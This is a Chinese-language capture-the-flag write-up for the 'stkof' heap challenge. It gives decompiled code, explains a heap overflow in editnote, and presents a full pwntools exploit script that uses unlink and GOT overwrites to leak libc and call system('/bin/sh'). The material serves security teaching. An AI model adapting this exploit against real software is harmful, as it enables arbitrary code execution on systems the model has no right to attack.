64位程序,没开PIE #unlink
程序逻辑
1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 int v3; // eax 4 signed int v5; // [rsp+Ch] [rbp-74h] 5 char nptr; // [rsp+10h] [rbp-70h] 6 unsigned __int64 v7; // [rsp+78h] [rbp-8h] 7 8 v7 = __readfsqword(0x28u); 9 alarm(0x78u); 10 while ( fgets(&nptr, 10, stdin) ) 11 { 12 v3 = atoi(&nptr); 13 if ( v3 == 2 ) 14 { 15 v5 = editnote(&nptr); 16 goto LABEL_14; 17 } 18 if ( v3 > 2 ) 19 { 20 if ( v3 == 3 ) 21 { 22 v5 = freenote(&nptr); 23 goto LABEL_14; 24 } 25 if ( v3 == 4 ) 26 { 27 v5 = useless(&nptr); 28 goto LABEL_14; 29 } 30 } 31 else if ( v3 == 1 ) 32 { 33 v5 = newnote(&nptr); 34 goto LABEL_14; 35 } 36 v5 = -1; 37 LABEL_14: 38 if ( v5 ) 39 puts("FAIL"); 40 else 41 puts("OK"); 42 fflush(stdout); 43 } 44 return 0LL; 45 }
editnote函数
1 signed __int64 editnote() 2 { 3 signed __int64 result; // rax 4 int i; // eax 5 unsigned int v2; // [rsp+8h] [rbp-88h] 6 __int64 n; // [rsp+10h] [rbp-80h] 7 char *ptr; // [rsp+18h] [rbp-78h] 8 char s; // [rsp+20h] [rbp-70h] 9 unsigned __int64 v6; // [rsp+88h] [rbp-8h] 10 11 v6 = __readfsqword(0x28u); 12 fgets(&s, 16, stdin); 13 v2 = atol(&s); 14 if ( v2 > 0x100000 ) 15 return 0xFFFFFFFFLL; 16 if ( !::s[v2] ) 17 return 0xFFFFFFFFLL; 18 fgets(&s, 16, stdin); 19 n = atoll(&s); 20 ptr = ::s[v2]; 21 for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) ) //与new时的size不一样,存在堆溢出 22 { 23 ptr += i; 24 n -= i; 25 } 26 if ( n ) 27 result = 0xFFFFFFFFLL; 28 else 29 result = 0LL; 30 return result; 31 }
值得注意的是,由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。这里经过测试,会申请两个缓冲区,分别大小为 1024 和 1024。此后,无论是输入输出都不会再申请缓冲区了。所以我们最好最初的申请一个 chunk 来把这些缓冲区给申请了,方便之后操作。
利用思路
由于程序本身没有 leak,要想执行 system 等函数,我们的首要目的还是先构造 leak,基本思路如下
- 利用 unlink 修改 global[2] 为 &global[2]-0x18。
- 利用编辑功能修改 global[0] 为 free@got 地址,同时修改 global[1] 为 puts@got 地址,global[2] 为 atoi@got 地址。
- 修改
free@got
为puts@plt
的地址,从而当再次调用free
函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。 - free global[2],即泄漏 puts@got 内容,从而知道 system 函数地址以及 libc 中 /bin/sh 地址。
- 修改
atoi@got
为 system 函数地址,再次调用时,输入 /bin/sh 地址即可。
expolit
1 from pwn import * 2 sh=process('./stkof') 3 elf=ELF('./stkof') 4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') 5 6 def addnote(size): 7 sh.sendline('1') 8 sh.sendline(str(size)) 9 sh.recvuntil('OK\n') 10 11 def editnote(index,size,message): 12 sh.sendline('2') 13 sh.sendline(str(index)) 14 sh.sendline(str(size)) 15 sh.send(message) 16 sh.recvuntil('OK\n') 17 18 def freenote(index): 19 sh.sendline('3') 20 sh.sendline(str(index)) 21 22 head=0x602140 23 24 addnote(0x100) #index 1 25 addnote(0x30) #index 2 26 addnote(0x80) #index 3 27 #free(3) = unlink(2) 28 #v2=&v2-0x18 29 #head[2]=&head[2]-0x18=head-0x8 30 #v2=head-0x8 31 32 payload=p64(0) 33 payload+=p64(0x31) 34 payload+=p64(head-0x8) 35 payload+=p64(head) 36 payload=payload.ljust(0x30,'a') 37 payload+=p64(0x30) 38 payload+=p64(0x90) 39 40 editnote(2,len(payload),payload) 41 freenote(3) 42 sh.recvuntil('OK\n') 43 44 free_got=elf.got['free'] 45 puts_got=elf.got['puts'] 46 atoi_got=elf.got['atoi'] 47 puts_plt=elf.plt['puts'] 48 49 payload='a'*8 50 payload+=p64(free_got) 51 payload+=p64(puts_got) 52 payload+=p64(atoi_got) 53 54 editnote(2,len(payload),payload) 55 #v0=free_got 56 #v1=puts_got 57 #v2=atoi_got 58 59 editnote(0,len(p64(puts_plt)),p64(puts_plt)) 60 #free_got ->puts 61 62 freenote(1) 63 #puts(puts_got) 64 65 puts_adr=sh.recvuntil('\nOK\n',drop=True).ljust(8,'\x00') 66 puts_adr=u64(puts_adr) 67 libc_base=puts_adr-libc.symbols['puts'] 68 system_adr=libc_base+libc.symbols['system'] 69 binsh_adr=libc_base+libc.search('/bin/sh').next() 70 print 'libc_base: '+hex(libc_base) 71 print 'puts_adr: '+hex(puts_adr) 72 print 'system_adr: '+hex(system_adr) 73 print 'binsh_adr: '+hex(binsh_adr) 74 75 payload=p64(system_adr) 76 editnote(2,len(payload),payload) 77 #atoi_got->system 78 payload=p64(binsh_adr) 79 sh.sendline(payload) 80 sh.interactive()